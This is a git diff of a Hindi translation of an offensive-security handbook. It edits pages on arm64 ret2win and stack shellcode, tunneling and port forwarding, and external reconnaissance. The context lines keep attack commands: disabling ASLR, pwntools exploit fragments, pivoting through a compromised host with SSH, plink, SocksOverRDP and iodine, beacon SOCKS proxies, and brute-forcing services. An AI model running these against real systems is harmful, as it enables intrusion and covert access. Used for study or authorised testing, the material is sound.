- [**स्टैक कैनरीज़**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) को भी बंद किया जाना चाहिए या समझौता किया गया EIP रिटर्न पता कभी नहीं फॉलो किया जाएगा।
## अन्य उदाहरण और संदर्भ
@@ -84,15 +84,15 @@ Python स्क्रिप्ट एक सावधानीपूर्व
- [https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html)
- 32 बिट्स, कोई ASLR नहीं, डबल स्मॉल ओवरफ्लो, पहले स्टैक को ओवरफ्लो करना और दूसरे ओवरफ्लो के आकार को बढ़ाना
- [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html)
-- 32 बिट्स, relro, कोई कैनरी नहीं, nx, कोई pie नहीं, `fflush` के पते को `win` फ़ंक्शन (ret2win) के साथ ओवरराइट करने के लिए फॉर्मेट स्ट्रिंग
+- 32 बिट, relro, कोई कैनरी नहीं, nx, कोई pie नहीं, `fflush` के पते को `win` फ़ंक्शन (ret2win) के साथ ओवरराइट करने के लिए फॉर्मेट स्ट्रिंग
- [https://guyinatuxedo.github.io/15-partial_overwrite/tamu19_pwn2/index.html](https://guyinatuxedo.github.io/15-partial_overwrite/tamu19_pwn2/index.html)
-- 32 बिट्स, nx, कुछ और नहीं, `win` फ़ंक्शन को कॉल करने के लिए EIP का आंशिक ओवरराइट (1Byte)
+- 32 बिट, nx, कुछ और नहीं, `win` फ़ंक्शन को कॉल करने के लिए EIP का आंशिक ओवरराइट (1Byte)
- [https://guyinatuxedo.github.io/15-partial_overwrite/tuctf17_vulnchat2/index.html](https://guyinatuxedo.github.io/15-partial_overwrite/tuctf17_vulnchat2/index.html)
-- 32 बिट्स, nx, कुछ और नहीं, `win` फ़ंक्शन को कॉल करने के लिए EIP का आंशिक ओवरराइट (1Byte)
+- 32 बिट, nx, कुछ और नहीं, `win` फ़ंक्शन को कॉल करने के लिए EIP का आंशिक ओवरराइट (1Byte)
- [https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html)
-- प्रोग्राम केवल एक संख्या के अंतिम बाइट को इनपुट के आकार की जांच के लिए मान्य कर रहा है, इसलिए यह संभव है कि अंतिम बाइट अनुमत सीमा के भीतर हो। फिर, इनपुट एक बफर ओवरफ्लो उत्पन्न करता है जिसे ret2win के साथ शोषण किया जाता है।
+- प्रोग्राम केवल एक संख्या के अंतिम बाइट को इनपुट के आकार की जांच के लिए मान्य कर रहा है, इसलिए यह संभव है कि अंतिम बाइट अनुमत सीमा के भीतर हो। फिर, इनपुट एक बफर ओवरफ्लो उत्पन्न करता है जिसे `ret2win` के साथ शोषण किया गया है।
- [https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/](https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/)
-- 64 बिट्स, relro, कोई कैनरी नहीं, nx, pie। `win` फ़ंक्शन (ret2win) को कॉल करने के लिए आंशिक ओवरराइट
+- 64 बिट, relro, कोई कैनरी नहीं, nx, pie। `win` फ़ंक्शन (ret2win) को कॉल करने के लिए आंशिक ओवरराइट
- [https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/](https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/)
- arm64, PIE, यह एक PIE लीक देता है `win` फ़ंक्शन वास्तव में 2 फ़ंक्शन हैं इसलिए ROP गैजेट जो 2 फ़ंक्शन को कॉल करता है
- [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/)
diff --git a/src/binary-exploitation/stack-overflow/ret2win/ret2win-arm64.md b/src/binary-exploitation/stack-overflow/ret2win/ret2win-arm64.md
index bf8655672..668c3dc6f 100644
--- a/src/binary-exploitation/stack-overflow/ret2win/ret2win-arm64.md
+++ b/src/binary-exploitation/stack-overflow/ret2win/ret2win-arm64.md
@@ -8,7 +8,7 @@ arm64 का परिचय यहाँ खोजें:
../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
{{#endref}}
-## Code
+## Code
```c
#include
#include
@@ -31,13 +31,13 @@ return 0;
```bash
clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie
```
-## ऑफसेट खोजना
+## Finding the offset
-### पैटर्न विकल्प
+### Pattern option
यह उदाहरण [**GEF**](https://github.com/bata24/gef) का उपयोग करके बनाया गया था:
-gef के साथ gdb शुरू करें, पैटर्न बनाएं और इसका उपयोग करें:
+gdb को gef के साथ स्टार्ट करें, पैटर्न बनाएं और इसका उपयोग करें:
```bash
gdb -q ./ret2win
pattern create 200
@@ -45,7 +45,7 @@ run
```
-arm64 x30 रजिस्टर में पते पर लौटने की कोशिश करेगा (जो कि समझौता किया गया था), हम इसका उपयोग पैटर्न ऑफसेट खोजने के लिए कर सकते हैं:
+arm64 उस पते पर लौटने की कोशिश करेगा जो रजिस्टर x30 में है (जो समझौता किया गया था), हम इसका उपयोग पैटर्न ऑफसेट खोजने के लिए कर सकते हैं:
```bash
pattern search $x30
```
@@ -55,7 +55,7 @@ pattern search $x30
### स्टैक ऑफसेट विकल्प
-स्टैक पते को प्राप्त करने से शुरू करें जहां pc रजिस्टर संग्रहीत है:
+स्टैक पते को प्राप्त करने से शुरू करें जहाँ pc रजिस्टर संग्रहीत है:
```bash
gdb -q ./ret2win
b *vulnerable_function + 0xc
@@ -71,7 +71,7 @@ c
```
-इस पैटर्न को मेमोरी में कहाँ स्टोर किया गया है, इसे खोजें:
+इस पैटर्न को मेमोरी में खोजें:
@@ -144,7 +144,7 @@ p.close()
### Off-by-2
-लीक के बिना हमें जीतने वाले फ़ंक्शन का सटीक पता नहीं पता है लेकिन हम बाइनरी से फ़ंक्शन का ऑफ़सेट जान सकते हैं और यह जानते हुए कि हम जो रिटर्न पता ओवरराइट कर रहे हैं वह पहले से ही एक निकटवर्ती पते की ओर इशारा कर रहा है, इस मामले में जीतने वाले फ़ंक्शन (**0x7d4**) के लिए ऑफ़सेट लीक करना संभव है और बस उस ऑफ़सेट का उपयोग करें:
+बिना किसी लीक के, हमें जीतने वाले फ़ंक्शन का सटीक पता नहीं पता है, लेकिन हम बाइनरी से फ़ंक्शन का ऑफ़सेट जान सकते हैं और यह जानते हुए कि हम जो रिटर्न पता ओवरराइट कर रहे हैं, वह पहले से ही एक निकटवर्ती पते की ओर इशारा कर रहा है, इस मामले में जीतने वाले फ़ंक्शन का ऑफ़सेट (**0x7d4**) लीक करना संभव है और बस उस ऑफ़सेट का उपयोग करें:
```python
diff --git a/src/binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md b/src/binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md
index a3ff53e99..dea39accd 100644
--- a/src/binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md
+++ b/src/binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md
@@ -8,7 +8,7 @@ arm64 का परिचय यहाँ खोजें:
../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
{{#endref}}
-## Code
+## Code
```c
#include
#include
@@ -27,7 +27,7 @@ return 0;
```bash
clang -o bof bof.c -fno-stack-protector -Wno-format-security -no-pie -z execstack
```
-## No ASLR & No canary - Stack Overflow
+## No ASLR & No canary - Stack Overflow
ASLR को रोकने के लिए निष्पादित करें:
```bash
@@ -35,7 +35,7 @@ echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
```
[**bof की ऑफसेट प्राप्त करने के लिए इस लिंक की जांच करें**](../ret2win/ret2win-arm64.md#finding-the-offset).
-शोषण:
+Exploit:
```python
from pwn import *
@@ -66,8 +66,8 @@ p.send(payload)
# Drop to an interactive session
p.interactive()
```
-यहाँ "जटिल" चीज़ केवल स्टैक में कॉल करने के लिए पता ढूंढना होगा। मेरे मामले में, मैंने gdb का उपयोग करके पाए गए पते के साथ एक्सप्लॉइट उत्पन्न किया, लेकिन फिर जब इसे एक्सप्लॉइट किया गया तो यह काम नहीं किया (क्योंकि स्टैक का पता थोड़ा बदल गया था)।
+यहाँ "जटिल" चीज़ केवल उस पते को ढूंढना होगा जिसे कॉल करना है। मेरे मामले में, मैंने gdb का उपयोग करके पाए गए पते के साथ एक्सप्लॉइट उत्पन्न किया, लेकिन फिर जब इसे एक्सप्लॉइट किया गया तो यह काम नहीं किया (क्योंकि स्टैक का पता थोड़ा बदल गया था)।
-मैंने उत्पन्न **`core` फ़ाइल** खोली (`gdb ./bog ./core`) और शेलकोड की शुरुआत का असली पता चेक किया।
+मैंने उत्पन्न **`core` फ़ाइल** खोली (`gdb ./bog ./core`) और शेलकोड की शुरुआत का असली पता चेक किया।
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/generic-hacking/tunneling-and-port-forwarding.md b/src/generic-hacking/tunneling-and-port-forwarding.md
index 22547477e..b09e8f54b 100644
--- a/src/generic-hacking/tunneling-and-port-forwarding.md
+++ b/src/generic-hacking/tunneling-and-port-forwarding.md
@@ -1,8 +1,8 @@
-# Tunneling and Port Forwarding
+# टनलिंग और पोर्ट फॉरवर्डिंग
{{#include ../banners/hacktricks-training.md}}
-## Nmap tip
+## Nmap टिप
> [!WARNING]
> **ICMP** और **SYN** स्कैन को सॉक्स प्रॉक्सी के माध्यम से टनल नहीं किया जा सकता, इसलिए हमें **पिंग डिस्कवरी** को **अक्षम** करना होगा (`-Pn`) और इसके काम करने के लिए **TCP स्कैन** (`-sT`) निर्दिष्ट करना होगा।
@@ -51,7 +51,7 @@ sudo ssh -L 631::631 -N -f -l
```
### Port2hostnet (proxychains)
-स्थानीय पोर्ट --> समझौता किया गया होस्ट (SSH) --> जहाँ भी
+स्थानीय पोर्ट --> समझौता किया गया होस्ट (SSH) --> कहीं भी
```bash
ssh -f -N -D @ #All sent to local port will exit through the compromised server (use as proxy)
```
@@ -134,7 +134,7 @@ echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains
### SOCKS proxy
-टीमसर्वर में एक पोर्ट खोलें जो सभी इंटरफेस में सुन रहा हो जिसे **बिकन के माध्यम से ट्रैफ़िक को रूट करने के लिए** उपयोग किया जा सके।
+टीमसर्वर में एक पोर्ट खोलें जो सभी इंटरफेस में सुन रहा है जिसे **बिकन के माध्यम से ट्रैफ़िक को रूट करने के लिए** उपयोग किया जा सकता है।
```bash
beacon> socks 1080
[+] started SOCKS4a server on: 1080
@@ -154,7 +154,7 @@ To note:
- Beacon's reverse port forward is designed to **ट्रैफ़िक को Team Server तक टनल करने के लिए, व्यक्तिगत मशीनों के बीच रिले करने के लिए नहीं**।
- ट्रैफ़िक **Beacon के C2 ट्रैफ़िक के भीतर टनल किया जाता है**, जिसमें P2P लिंक शामिल हैं।
-- **प्रशासक विशेषाधिकारों की आवश्यकता नहीं है** उच्च पोर्ट पर रिवर्स पोर्ट फॉरवर्ड बनाने के लिए।
+- **प्रशासक विशेषाधिकार की आवश्यकता नहीं है** उच्च पोर्ट पर रिवर्स पोर्ट फॉरवर्ड बनाने के लिए।
### rPort2Port local
@@ -294,7 +294,7 @@ OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|PROXY:hacke
### SSL Socat Tunnel
-**/bin/sh console**
+**/bin/sh कंसोल**
दोनों पक्षों पर प्रमाणपत्र बनाएं: क्लाइंट और सर्वर
```bash
@@ -322,7 +322,7 @@ attacker> ssh localhost -p 2222 -l www-data -i vulnerable #Connects to the ssh o
यह एक कंसोल PuTTY संस्करण की तरह है (विकल्प ssh क्लाइंट के बहुत समान हैं)।
-चूंकि यह बाइनरी पीड़ित में निष्पादित की जाएगी और यह एक ssh क्लाइंट है, हमें अपनी ssh सेवा और पोर्ट खोलने की आवश्यकता है ताकि हम एक रिवर्स कनेक्शन प्राप्त कर सकें। फिर, केवल स्थानीय रूप से सुलभ पोर्ट को हमारे मशीन के पोर्ट पर अग्रेषित करने के लिए:
+चूंकि यह बाइनरी पीड़ित में निष्पादित की जाएगी और यह एक ssh क्लाइंट है, हमें अपनी ssh सेवा और पोर्ट खोलने की आवश्यकता है ताकि हम एक रिवर्स कनेक्शन प्राप्त कर सकें। फिर, केवल स्थानीय रूप से सुलभ पोर्ट को हमारे मशीन के एक पोर्ट पर अग्रेषित करने के लिए:
```bash
echo y | plink.exe -l -pw [-p ] -R ::
echo y | plink.exe -l root -pw password [-p 2222] -R 9090:127.0.0.1:9090 10.11.0.41 #Local port 9090 to out port 9090
@@ -354,7 +354,7 @@ netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=4444
# Load SocksOverRDP.dll using regsvr32.exe
C:\SocksOverRDP-x64> regsvr32.exe SocksOverRDP-Plugin.dll
```
-अब हम **RDP** के माध्यम से **`mstsc.exe`** का उपयोग करके **शिकार** से **जुड़ सकते** हैं, और हमें एक **प्रॉम्प्ट** प्राप्त होना चाहिए जो कहता है कि **SocksOverRDP प्लगइन सक्षम है**, और यह **127.0.0.1:1080** पर **सुन** रहा होगा।
+अब हम **RDP** के माध्यम से **`mstsc.exe`** का उपयोग करके **शिकार** से **जुड़** सकते हैं, और हमें एक **प्रॉम्प्ट** प्राप्त होना चाहिए जो कहता है कि **SocksOverRDP प्लगइन सक्षम है**, और यह **127.0.0.1:1080** पर **सुन** रहा होगा।
**RDP** के माध्यम से **जुड़ें** और शिकार मशीन में `SocksOverRDP-Server.exe` बाइनरी अपलोड और निष्पादित करें:
```
@@ -383,7 +383,7 @@ http-proxy 8080 ntlm
[http://cntlm.sourceforge.net/](http://cntlm.sourceforge.net/)
-यह एक प्रॉक्सी के खिलाफ प्रमाणीकरण करता है और एक पोर्ट को स्थानीय रूप से बाइंड करता है जो आप द्वारा निर्दिष्ट बाहरी सेवा की ओर अग्रेषित होता है। फिर, आप इस पोर्ट के माध्यम से अपनी पसंद के उपकरण का उपयोग कर सकते हैं।\
+यह एक प्रॉक्सी के खिलाफ प्रमाणीकरण करता है और एक पोर्ट को स्थानीय रूप से बाइंड करता है जो आपके द्वारा निर्दिष्ट बाहरी सेवा की ओर अग्रेषित होता है। फिर, आप इस पोर्ट के माध्यम से अपनी पसंद के उपकरण का उपयोग कर सकते हैं।\
उदाहरण के लिए, वह पोर्ट 443 को अग्रेषित करता है।
```
Username Alice
@@ -405,13 +405,13 @@ Microsoft द्वारा बनाया गया एक रिवर्स
[https://code.kryo.se/iodine/](https://code.kryo.se/iodine/)
-दोनों सिस्टम में टन एडाप्टर बनाने और DNS क्वेरी का उपयोग करके उनके बीच डेटा टनल करने के लिए रूट की आवश्यकता होती है।
+दोनों सिस्टम में रूट की आवश्यकता होती है ताकि टन एडाप्टर बनाए जा सकें और DNS क्वेरी का उपयोग करके उनके बीच डेटा टनल किया जा सके।
```
attacker> iodined -f -c -P P@ssw0rd 1.1.1.1 tunneldomain.com
victim> iodine -f -P P@ssw0rd tunneldomain.com -r
#You can see the victim at 1.1.1.2
```
-यह टनल बहुत धीमी होगी। आप इस टनल के माध्यम से एक संकुचित SSH कनेक्शन बना सकते हैं:
+टनल बहुत धीमा होगा। आप इस टनल के माध्यम से एक संकुचित SSH कनेक्शन बना सकते हैं:
```
ssh @1.1.1.2 -C -c blowfish-cbc,arcfour -o CompressionLevel=9 -D 1080
```
@@ -442,7 +442,7 @@ listen [lhost:]lport rhost:rport #Ex: listen 127.0.0.1:8080 10.0.0.20:80, this b
```
#### Proxychains DNS बदलें
-Proxychains `gethostbyname` libc कॉल को इंटरसेप्ट करता है और tcp DNS अनुरोध को socks प्रॉक्सी के माध्यम से टनल करता है। **डिफ़ॉल्ट** रूप से, **DNS** सर्वर जो proxychains उपयोग करता है वह **4.2.2.2** है (हार्डकोडेड)। इसे बदलने के लिए, फ़ाइल संपादित करें: _/usr/lib/proxychains3/proxyresolv_ और IP बदलें। यदि आप **Windows वातावरण** में हैं, तो आप **डोमेन कंट्रोलर** का IP सेट कर सकते हैं।
+Proxychains `gethostbyname` libc कॉल को इंटरसेप्ट करता है और TCP DNS अनुरोध को SOCKS प्रॉक्सी के माध्यम से टनल करता है। **डिफ़ॉल्ट** के रूप में, **DNS** सर्वर जो proxychains उपयोग करता है वह **4.2.2.2** है (हार्डकोडेड)। इसे बदलने के लिए, फ़ाइल संपादित करें: _/usr/lib/proxychains3/proxyresolv_ और IP बदलें। यदि आप **Windows वातावरण** में हैं, तो आप **डोमेन कंट्रोलर** का IP सेट कर सकते हैं।
## Go में टनल
@@ -480,7 +480,7 @@ ssh -D 9050 -p 2222 -l user 127.0.0.1
## ngrok
[**ngrok**](https://ngrok.com/) **एक उपकरण है जो एक कमांड लाइन में समाधानों को इंटरनेट पर उजागर करता है।**\
-_Exposition URI इस तरह हैं:_ **UID.ngrok.io**
+_Exposition URI इस तरह हैं:_ **UID.ngrok.io**
### Installation
@@ -492,13 +492,13 @@ chmod a+x ./ngrok
# Init configuration, with your token
./ngrok config edit
```
-### Basic usages
+### मूल उपयोग
-**Documentation:** [https://ngrok.com/docs/getting-started/](https://ngrok.com/docs/getting-started/).
+**दस्तावेज़ीकरण:** [https://ngrok.com/docs/getting-started/](https://ngrok.com/docs/getting-started/).
_यदि आवश्यक हो, तो प्रमाणीकरण और TLS जोड़ना भी संभव है।_
-#### Tunneling TCP
+#### TCP टनलिंग
```bash
# Pointing to 0.0.0.0:4444
./ngrok tcp 4444
diff --git a/src/generic-methodologies-and-resources/external-recon-methodology/README.md b/src/generic-methodologies-and-resources/external-recon-methodology/README.md
index 5567afdc9..a15fcb62a 100644
--- a/src/generic-methodologies-and-resources/external-recon-methodology/README.md
+++ b/src/generic-methodologies-and-resources/external-recon-methodology/README.md
@@ -6,7 +6,7 @@
> तो आपको कहा गया था कि किसी कंपनी से संबंधित सब कुछ दायरे के भीतर है, और आप यह पता लगाना चाहते हैं कि इस कंपनी के पास वास्तव में क्या है।
-इस चरण का लक्ष्य **मुख्य कंपनी द्वारा स्वामित्व वाली सभी कंपनियों** और फिर इन कंपनियों के सभी **संपत्तियों** को प्राप्त करना है। ऐसा करने के लिए, हम:
+इस चरण का लक्ष्य **मुख्य कंपनी द्वारा स्वामित्व वाली सभी कंपनियों** और फिर इन कंपनियों के **संपत्तियों** को प्राप्त करना है। ऐसा करने के लिए, हम:
1. मुख्य कंपनी के अधिग्रहणों को खोजेंगे, इससे हमें दायरे के भीतर की कंपनियाँ मिलेंगी।
2. प्रत्येक कंपनी का ASN (यदि कोई हो) खोजेंगे, इससे हमें प्रत्येक कंपनी द्वारा स्वामित्व वाले IP रेंज मिलेंगे।
@@ -51,26 +51,26 @@ bbot -t tesla.com -f subdomain-enum
[INFO] bbot.modules.asn: +----------+---------------------+--------------+----------------+----------------------------+-----------+
```
-आप एक संगठन के IP रेंज भी [http://asnlookup.com/](http://asnlookup.com) का उपयोग करके पा सकते हैं (इसमें मुफ्त API है)।\
-आप [http://ipv4info.com/](http://ipv4info.com) का उपयोग करके एक डोमेन का IP और ASN पा सकते हैं।
+आप एक संगठन के IP रेंज भी [http://asnlookup.com/](http://asnlookup.com) का उपयोग करके ढूंढ सकते हैं (इसमें मुफ्त API है)।\
+आप [http://ipv4info.com/](http://ipv4info.com) का उपयोग करके एक डोमेन का IP और ASN ढूंढ सकते हैं।
### **कमजोरियों की तलाश**
इस बिंदु पर हम **स्कोप के अंदर सभी संपत्तियों** को जानते हैं, इसलिए यदि आपको अनुमति है तो आप सभी होस्ट पर कुछ **कमजोरी स्कैनर** (Nessus, OpenVAS) लॉन्च कर सकते हैं।\
-इसके अलावा, आप कुछ [**पोर्ट स्कैन**](../pentesting-network/index.html#discovering-hosts-from-the-outside) **या** shodan **जैसे सेवाओं का उपयोग कर सकते हैं** खुली पोर्ट **खोजने के लिए और जो कुछ भी आप पाते हैं उसके आधार पर आपको** इस पुस्तक में देखना चाहिए कि कैसे कई संभावित सेवाओं का पेंटेस्ट करना है।\
-**इसके अलावा, यह उल्लेख करना भी सार्थक हो सकता है कि आप कुछ** डिफ़ॉल्ट उपयोगकर्ता नाम **और** पासवर्ड **सूचियाँ तैयार कर सकते हैं और** [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray) के साथ सेवाओं को ब्रूटफोर्स करने की कोशिश कर सकते हैं।
+इसके अलावा, आप कुछ [**पोर्ट स्कैन**](../pentesting-network/index.html#discovering-hosts-from-the-outside) **या** shodan **जैसे सेवाओं का उपयोग करके** खुले पोर्ट **ढूंढ सकते हैं और जो कुछ भी आप पाते हैं उसके आधार पर आपको इस पुस्तक में देखना चाहिए कि कैसे कई संभावित सेवाओं का पेंटेस्ट करना है।**\
+**इसके अलावा, यह उल्लेख करना भी सार्थक हो सकता है कि आप कुछ** डिफ़ॉल्ट उपयोगकर्ता नाम **और** पासवर्ड **सूचियाँ तैयार कर सकते हैं और** [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray) के साथ सेवाओं को** ब्रूटफोर्स **करने की कोशिश कर सकते हैं।**
## डोमेन
> हम स्कोप के अंदर सभी कंपनियों और उनकी संपत्तियों को जानते हैं, अब स्कोप के अंदर डोमेन खोजने का समय है।
-_कृपया ध्यान दें कि निम्नलिखित प्रस्तावित तकनीकों में आप उपडोमेन भी पा सकते हैं और उस जानकारी को कम करके नहीं आंका जाना चाहिए।_
+_कृपया ध्यान दें कि निम्नलिखित प्रस्तावित तकनीकों में आप उपडोमेन भी ढूंढ सकते हैं और उस जानकारी को कम नहीं आंकना चाहिए।_
-सबसे पहले, आपको प्रत्येक कंपनी के **मुख्य डोमेन**(s) की तलाश करनी चाहिए। उदाहरण के लिए, _Tesla Inc._ के लिए यह _tesla.com_ होगा।
+सबसे पहले, आपको प्रत्येक कंपनी के **मुख्य डोमेन**(s) की तलाश करनी चाहिए। उदाहरण के लिए, _Tesla Inc._ के लिए _tesla.com_ होगा।
### **रिवर्स DNS**
-जैसा कि आपने डोमेन के सभी IP रेंज पाए हैं, आप उन **IPs पर अधिक डोमेन खोजने के लिए** **रिवर्स DNS लुकअप** करने की कोशिश कर सकते हैं। पीड़ित के कुछ DNS सर्वर या कुछ प्रसिद्ध DNS सर्वर (1.1.1.1, 8.8.8.8) का उपयोग करने की कोशिश करें।
+जैसा कि आपने डोमेन के सभी IP रेंज ढूंढ लिए हैं, आप उन **IPs पर अधिक डोमेन खोजने के लिए** **रिवर्स DNS लुकअप** करने की कोशिश कर सकते हैं। पीड़ित के कुछ DNS सर्वर या कुछ प्रसिद्ध DNS सर्वर (1.1.1.1, 8.8.8.8) का उपयोग करने की कोशिश करें।
```bash
dnsrecon -r -n #DNS reverse of all of the addresses
dnsrecon -d facebook.com -r 157.240.221.35/24 #Using facebooks dns
@@ -82,7 +82,7 @@ dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns
### **Reverse Whois (loop)**
-एक **whois** में आप बहुत सारी दिलचस्प **जानकारी** पा सकते हैं जैसे **संस्थान का नाम**, **पता**, **ईमेल**, फोन नंबर... लेकिन जो और भी दिलचस्प है वह यह है कि आप **कंपनी से संबंधित अधिक संपत्तियाँ** पा सकते हैं यदि आप **इनमें से किसी भी क्षेत्र द्वारा रिवर्स Whois लुकअप करते हैं** (उदाहरण के लिए अन्य Whois रजिस्ट्रियों जहां वही ईमेल दिखाई देता है)।\
+एक **whois** में आप बहुत सारी दिलचस्प **जानकारी** पा सकते हैं जैसे **संस्थान का नाम**, **पता**, **ईमेल**, फोन नंबर... लेकिन जो और भी दिलचस्प है वह यह है कि आप **कंपनी से संबंधित अधिक संपत्तियाँ** पा सकते हैं यदि आप **इनमें से किसी भी क्षेत्र द्वारा रिवर्स Whois लुकअप करते हैं** (उदाहरण के लिए अन्य whois रजिस्ट्रियों जहां वही ईमेल दिखाई देता है)।\
आप ऑनलाइन टूल का उपयोग कर सकते हैं जैसे:
- [https://viewdns.info/reversewhois/](https://viewdns.info/reversewhois/) - **मुफ्त**
@@ -113,7 +113,7 @@ dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns
### **Favicon**
-क्या आप जानते हैं कि हम एक ही favicon आइकन हैश की तलाश करके अपने लक्ष्य से संबंधित डोमेन और उप डोमेन पा सकते हैं? यह ठीक वही है जो [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py) टूल करता है जिसे [@m4ll0k2](https://twitter.com/m4ll0k2) ने बनाया है। इसका उपयोग कैसे करें:
+क्या आप जानते हैं कि हम एक ही फेविकॉन आइकन हैश की तलाश करके अपने लक्ष्य से संबंधित डोमेन और उप डोमेन पा सकते हैं? यह ठीक वही है जो [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py) टूल करता है जिसे [@m4ll0k2](https://twitter.com/m4ll0k2) ने बनाया है। इसका उपयोग कैसे करें:
```bash
cat my_targets.txt | xargs -I %% bash -c 'echo "http://%%/favicon.ico"' > targets.txt
python3 favihash.py -f https://target/favicon.ico -t targets.txt -s
@@ -139,18 +139,18 @@ fhash = mmh3.hash(favicon)
print(f"{url} : {fhash}")
return fhash
```
-### **कॉपीराइट / यूनिक स्ट्रिंग**
+### **Copyright / Uniq string**
-वेब पृष्ठों के अंदर **स्ट्रिंग्स की खोज करें जो एक ही संगठन में विभिन्न वेब्स के बीच साझा की जा सकती हैं**। **कॉपीराइट स्ट्रिंग** एक अच्छा उदाहरण हो सकता है। फिर उस स्ट्रिंग की **गूगल**, अन्य **ब्राउज़रों** या यहां तक कि **शोडन** में खोज करें: `shodan search http.html:"Copyright string"`
+वेब पृष्ठों के अंदर **ऐसे स्ट्रिंग्स खोजें जो एक ही संगठन में विभिन्न वेब्स के बीच साझा किए जा सकते हैं**। **कॉपीराइट स्ट्रिंग** एक अच्छा उदाहरण हो सकता है। फिर उस स्ट्रिंग को **गूगल**, अन्य **ब्राउज़रों** या यहां तक कि **शोडन** में खोजें: `shodan search http.html:"Copyright string"`
-### **CRT समय**
+### **CRT Time**
यह सामान्य है कि एक क्रॉन जॉब हो जैसे
```bash
# /etc/crontab
37 13 */10 * * certbot renew --post-hook "systemctl reload nginx"
```
-सर्वर पर सभी डोमेन प्रमाणपत्रों को नवीनीकरण करने के लिए। इसका मतलब है कि भले ही इसके लिए उपयोग किया जाने वाला CA वैधता समय में उत्पन्न होने का समय सेट न करे, यह संभव है कि **प्रमाणपत्र पारदर्शिता लॉग में उसी कंपनी के संबंधित डोमेन को खोजा जा सके**।\
+सर्वर पर सभी डोमेन प्रमाणपत्रों को नवीनीकरण करने के लिए। इसका मतलब है कि भले ही इसके लिए उपयोग किया जाने वाला CA वैधता समय में उत्पन्न होने का समय सेट न करे, यह संभव है कि **प्रमाणपत्र पारदर्शिता लॉग में उसी कंपनी के संबंधित डोमेन को ढूंढा जा सके**।\
इस [**लेख को अधिक जानकारी के लिए देखें**](https://swarm.ptsecurity.com/discovering-domains-via-a-time-correlation-attack/)।
### मेल DMARC जानकारी
@@ -159,13 +159,13 @@ return fhash
### **पैसिव टेकओवर**
-स्पष्ट रूप से यह सामान्य है कि लोग उपडोमेन को क्लाउड प्रदाताओं से संबंधित IPs को असाइन करते हैं और किसी बिंदु पर **उस IP पते को खो देते हैं लेकिन DNS रिकॉर्ड को हटाना भूल जाते हैं**। इसलिए, बस **क्लाउड में एक VM स्पॉन करना** (जैसे Digital Ocean) आप वास्तव में **कुछ उपडोमेन(s) पर कब्जा कर रहे होंगे**।
+स्पष्ट रूप से यह सामान्य है कि लोग उपडोमेन को उन IPs पर असाइन करते हैं जो क्लाउड प्रदाताओं से संबंधित होते हैं और किसी बिंदु पर **उस IP पते को खो देते हैं लेकिन DNS रिकॉर्ड को हटाना भूल जाते हैं**। इसलिए, बस **क्लाउड में एक VM स्पॉन करना** (जैसे Digital Ocean) आप वास्तव में **कुछ उपडोमेन पर कब्जा कर रहे होंगे**।
-[**यह पोस्ट**](https://kmsec.uk/blog/passive-takeover/) इसके बारे में एक कहानी बताती है और एक स्क्रिप्ट का प्रस्ताव करती है जो **DigitalOcean में एक VM स्पॉन करती है**, **नए मशीन का** **IPv4** **प्राप्त करती है**, और **Virustotal में उपडोमेन रिकॉर्ड** की खोज करती है जो इसे इंगित करते हैं।
+[**यह पोस्ट**](https://kmsec.uk/blog/passive-takeover/) इसके बारे में एक स्टोर को समझाती है और एक स्क्रिप्ट का प्रस्ताव करती है जो **DigitalOcean में एक VM स्पॉन करती है**, **नए मशीन का** **IPv4** **प्राप्त करती है**, और **Virustotal में उपडोमेन रिकॉर्ड** की खोज करती है जो इसे इंगित करते हैं।
### **अन्य तरीके**
-**ध्यान दें कि आप इस तकनीक का उपयोग हर बार एक नया डोमेन खोजने के लिए अधिक डोमेन नाम खोजने के लिए कर सकते हैं।**
+**ध्यान दें कि आप इस तकनीक का उपयोग हर बार नए डोमेन खोजने के लिए अधिक डोमेन नाम खोजने के लिए कर सकते हैं।**
**Shodan**
@@ -181,8 +181,8 @@ return fhash
कुछ [डोमेन टेकओवर](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover) के लिए जांचें। शायद कोई कंपनी **किसी डोमेन का उपयोग कर रही है** लेकिन उन्होंने **स्वामित्व खो दिया है**। बस इसे रजिस्टर करें (यदि यह सस्ता है) और कंपनी को सूचित करें।
